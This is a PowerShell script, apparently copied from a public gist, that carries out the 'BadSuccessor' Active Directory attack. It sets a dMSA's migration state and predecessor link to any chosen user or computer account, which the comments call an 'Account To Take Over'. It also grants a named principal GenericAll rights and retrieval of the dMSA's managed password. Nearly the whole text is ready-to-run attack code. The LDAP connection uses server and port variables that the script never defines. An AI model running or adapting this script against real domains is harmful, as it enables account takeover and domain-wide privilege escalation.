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Bad Successor - WRITE DATA INTO ATTRIBUTES "msDS-groupMSAMembership", "msDS-DelegatedMSAState", "msDS-ManagedAccountPrecededByLink"
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# WRITE DATA INTO ATTRIBUTES "msDS-groupMSAMembership", "msDS-DelegatedMSAState", "msDS-ManagedAccountPrecededByLink"
# ===================================================================================================================
#
# SOURCE: https://gist.github.com/zjorz/7999a964dfc4d5c1a691ea0c2739039e
#
<#
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#>
# The DN Of The dMSA To Target
$dMSADN = "<DN Of The dMSA To Target>"
# 0 = UnUsed => To Remove (Not Replace!) $accAllowGetPwd Specified Value From "msDS-groupMSAMembership"
# 2 = Migration Completed => To Add (Not Replace!) $accAllowGetPwd Specified Value To "msDS-groupMSAMembership"
# 3 = Native Use => To Add (Not Replace!) $accAllowGetPwd Specified Value To "msDS-groupMSAMembership"
$dMSAState = <Numeric Value For The State>
# The DN Of ANY user/computer/sMDS/gMSA/dMSA Account To Over (When Using $dMSAState = 2)
# The Word CLEAR As A Value To Remove Any Specified DN (When Using $dMSAState = 0)
# $null As A Value To NOT Do Anything With It (When Using $dMSAState = 3)
$accDN = "<The DN Of ANY user/computer/sMDS/gMSA/dMSA Account To Take Over OR The Word CLEAR>"
# The Principal Name Of An Account To Add To (When State Is 2 Or 3) Or Remove From (When State Is 0) "msDS-groupMSAMembership" (a.k.a. PrincipalsAllowedToRetrieveManagedPassword)
$accAllowGetPwd = "<NetBIOS Domain Name>\<sAMAccountName>"
Invoke-Command -ArgumentList $dMSADN,$dMSAState,$accDN,$accAllowGetPwd -ScriptBlock {
Param (
$dMSADN,
$dMSAState,
$accDN,
$accAllowGetPwd
)
Clear-Host
$thisADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain()
$rwdcPDCFQDN = $thisADDomain.PdcRoleOwner.Name
Add-Type -AssemblyName System.DirectoryServices.Protocols -ErrorAction Stop
[Timespan]$requestTimeout = (New-Object System.TimeSpan(0,0,120)) # Default: 120 seconds
$ldapDirectoryID = New-Object -TypeName System.DirectoryServices.Protocols.LdapDirectoryIdentifier -ArgumentList $ldapServerFQDN, $ldapServerPort, $true, $false
$ldapAuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldapConnection = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList $ldapDirectoryID, $null, $ldapAuthType
$ldapConnection.SessionOptions.Sealing = $true
$ldapConnection.SessionOptions.Signing = $true
[System.DirectoryServices.Protocols.ModifyRequest]$ldapModRequest = New-Object System.DirectoryServices.Protocols.ModifyRequest
$permissiveModifyRqc = New-Object System.DirectoryServices.Protocols.PermissiveModifyControl
$permissiveModifyRqc.IsCritical = $false
[void]($ldapModRequest.Controls.Add($permissiveModifyRqc))
$object = [PSCustomObject]@{
distinguishedName = $dMSADN
}
If (-not [string]::IsNullOrEmpty($dMSAState)) {
Add-Member -InputObject $object -MemberType NoteProperty -Name "msDS-DelegatedMSAState" -Value $dMSAState
}
If (-not [string]::IsNullOrEmpty($accDN)) {
Add-Member -InputObject $object -MemberType NoteProperty -Name "msDS-ManagedAccountPrecededByLink" -Value $accDN
}
If (-not [string]::IsNullOrEmpty($accAllowGetPwd)) {
$ldapSearchRequest = New-Object System.DirectoryServices.Protocols.SearchRequest
$ldapSearchRequest.DistinguishedName = $dMSADN
$ldapSearchRequest.Scope = [System.DirectoryServices.Protocols.SearchScope]::"Base"
$securityMasks = [System.DirectoryServices.Protocols.SecurityMasks]'Owner' -bor [System.DirectoryServices.Protocols.SecurityMasks]'Group' -bor [System.DirectoryServices.Protocols.SecurityMasks]'Dacl' -bor [System.DirectoryServices.Protocols.SecurityMasks]'Sacl'
$sdFlagLdapControl = New-Object System.DirectoryServices.Protocols.SecurityDescriptorFlagControl($securityMasks)
[void]($ldapSearchRequest.Controls.Add($sdFlagLdapControl))
[void]($ldapSearchRequest.Attributes.Add("distinguishedName"))
[void]($ldapSearchRequest.Attributes.Add("msDS-groupMSAMembership"))
[System.DirectoryServices.Protocols.SearchResponse]$ldapSearchResponse = $ldapConnection.SendRequest($ldapSearchRequest, $requestTimeout)
$adSecurity = New-Object System.DirectoryServices.ActiveDirectorySecurity
If (-not [string]::IsNullOrEmpty($ldapSearchResponse.Entries.Attributes."msds-groupmsamembership")) {
$adSecurity.SetSecurityDescriptorBinaryForm($ldapSearchResponse.Entries.Attributes.'msds-groupmsamembership'[0])
} Else {
$securityPrincipalOwnerSid = "S-1-5-32-544" # BUILTIN\Administrators
$securityPrincipalOwnerSidObject = New-Object System.Security.Principal.SecurityIdentifier($securityPrincipalOwnerSid)
$securityPrincipalOwner = ($securityPrincipalOwnerSidObject.Translate([System.Security.Principal.NTAccount])).Value
$securityPrincipalObjectForOwner = New-Object -TypeName System.Security.Principal.NTAccount($securityPrincipalOwner)
$adSecurity.SetOwner($securityPrincipalObjectForOwner)
}
$securityPrincipalNTAccount = New-Object -TypeName System.Security.Principal.NTAccount($accAllowGetPwd)
$accessControlType = [System.Security.AccessControl.AccessControlType]::"Allow"
If ($dMSAState -eq 0 -And -not [string]::IsNullOrEmpty($($adSecurity.Access | Where-Object {$_.IdentityReference.Value -eq $accAllowGetPwd}))) {
$adSecurity.RemoveAccess($securityPrincipalNTAccount, $accessControlType)
}
If ($dMSAState -eq 2 -Or $dMSAState -eq 3) {
$adRight = [System.DirectoryServices.ActiveDirectoryRights]::"GenericAll"
$adSecurityInheritanceScope = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::"None"
$aceDefinition = $securityPrincipalNTAccount,$adRight,$accessControlType,"00000000-0000-0000-0000-000000000000",$adSecurityInheritanceScope,"00000000-0000-0000-0000-000000000000"
$accessRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($aceDefinition)
$adSecurity.AddAccessRule($accessRule)
}
Add-Member -InputObject $object -MemberType NoteProperty -Name "msDS-groupMSAMembership" -Value $adSecurity
}
$ldapModRequest.DistinguishedName = $object.DistinguishedName
ForEach($property in (Get-Member -InputObject $object -MemberType NoteProperty)) {
If ($property.Name -eq "distinguishedName") {continue}
[System.DirectoryServices.Protocols.DirectoryAttribute]$propertyMod = New-Object System.DirectoryServices.Protocols.DirectoryAttributeModification
$propertyMod.Name = $property.Name
If ($property.Name -eq "msDS-groupMSAMembership") {
$propertyMod.Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace
$propertyValue = $($object.($property.Name)).GetSecurityDescriptorBinaryForm()
$propertyMod.Add([byte[]]$propertyValue) | Out-Null
} Else {
If ([string]::IsNullOrEmpty($object.($property.Name)) -Or $object.($property.Name) -eq "CLEAR") {
$propertyMod.Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Delete
} Else {
$propertyMod.Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace
$propertyValue = $object.($property.Name)
$propertyMod.AddRange([string[]]($propertyValue))
}
}
[void]($ldapModRequest.Modifications.Add($propertyMod))
}
$ldapConnection = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList $ldapDirectoryID, $null, $ldapAuthType
$ldapConnection.SessionOptions.Sealing = $true
$ldapConnection.SessionOptions.Signing = $true
Try {
Write-Host " > Updating Object '$($object.DistinguishedName)'..." -ForegroundColor Yellow
ForEach($property in (Get-Member -InputObject $object -MemberType NoteProperty)) {
If ($property.Name -eq "distinguishedName") {continue}
Write-Host " # Attribute...............: '$($property.Name)'" -ForegroundColor Yellow
If ($property.Name -eq "msDS-groupMSAMembership") {
$object.$($property.Name).Access | ForEach-Object {
Write-Host " * Value.................: '$($_.IdentityReference.Value)'" -ForegroundColor Yellow
}
} Else {
Write-Host " * Value.................: '$($object.($property.Name))'" -ForegroundColor Yellow
}
Write-Host ""
}
[void]($ldapConnection.SendRequest($ldapModRequest, $requestTimeout) -as [System.DirectoryServices.Protocols.ModifyResponse])
Write-Host " - SUCCESS" -ForegroundColor Green
} Catch {
Write-Host " - FAILED" -ForegroundColor Red
Write-Host " Exception Type......: $($_.Exception.GetType().FullName)" -ForegroundColor Red
Write-Host " Exception Message...: $($_.Exception.Message)" -ForegroundColor Red
}
Write-Host ""
}
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